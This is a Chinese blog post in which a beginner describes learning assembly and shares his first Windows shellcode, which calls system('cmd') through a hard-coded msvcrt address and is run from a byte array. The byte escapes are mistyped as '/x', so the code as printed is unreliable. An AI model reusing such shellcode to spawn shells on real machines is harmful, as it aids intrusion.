坚持到底,永不放弃。我终于写了个小小的SHELLCODE啦。
就拿这个星期来说,我日思夜想,为什么我总写不出可以正确执行的SHELLCODE呢,非常郁闷,也整天板着脸想问题,差点吓着小MM同事了。
我本来ASSEMBLY基础不是很好,只懂得可怜的几个INSTRUCTIONS,写SHELLCODE时碰到了很多不认识的Instructions。还要上网差资料,有时真的是一头雾水。
我看了很多前辈写的SHELLCODE,也测试过,结果也是有的可以成功通过测试,有的不能。
我对这类SHELLCODE的问题很感兴趣,每天除了工作,就是研究怎么写SHELLCODE了。不懂就查,就问,GOOGLE不行,就BAIDU,BAIDU不行就YAHOO。
我几乎想从头开始学ASSEMBLY,但好像SHELLCODE的常用指令就那几个啦,像PUSH,MOV,SUB,ADD,INC,DEC,CALL,JMP,JE......
这些都比较好理解。于是我还是把精力集中在SHELLCODE的执行流程上。
先是反汇编一个简单的函数,然后是用指令写些简单的函数,由于ASSEMBLY基础差,碰到很多很尖的钉子,给我的打击不小,有是我会痛苦的问:“天啊,这样的事总发生在我身上。”但事实上,是自己基础差嘛。
付出是有回报的,只是时间问题。经过有多精彩可能要写几GB也写不完啦。
还是把研究成果和大家分享一下,本人什么也不懂,经常出错,望高手提出批评。感激不尽。欢迎交流 QQ:250947302
#include <stdio.h>
#include <windows.h>
void __declspec(naked)aaa(void)
{
__asm{
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
push ebp
mov ebp, esp
sub esp, 08h
}
__asm
{
xor ecx, ecx
mov byte ptr[ebp-08h], 'c'
mov byte ptr[ebp-07h], 'm'
mov byte ptr[ebp-06h], 'd'
mov byte ptr[ebp-05h], cl
lea eax, [ebp-08h]
push eax
mov edx, 77bf93c7h ;这是system函数的地址
call edx
pop eax
}
__asm
{
mov esp, ebp
pop ebp
ret
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
}
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
void main()
{
char *saa;
HMODULE h=LoadLibrary("msvcrt.dll");
((void(*)(void))aaaaa)();
}
//
unsigned char aaaaa[]="/x55/x8B/xEC/x83/xEC/x08/x33/xC9/xC6/x45/xF8"
"/x63/xC6/x45/xF9/x6D/xC6/x45/xFA/x64/x88/x4D"
"/xFB/x8D/x45/xF8/x50/xBA/xC7/x93/xBF/x77/xFF"
"/xD2/x58/x8B/xE5/x5D/xC3";
这段是用OLLYDBG 1.1调试得到的。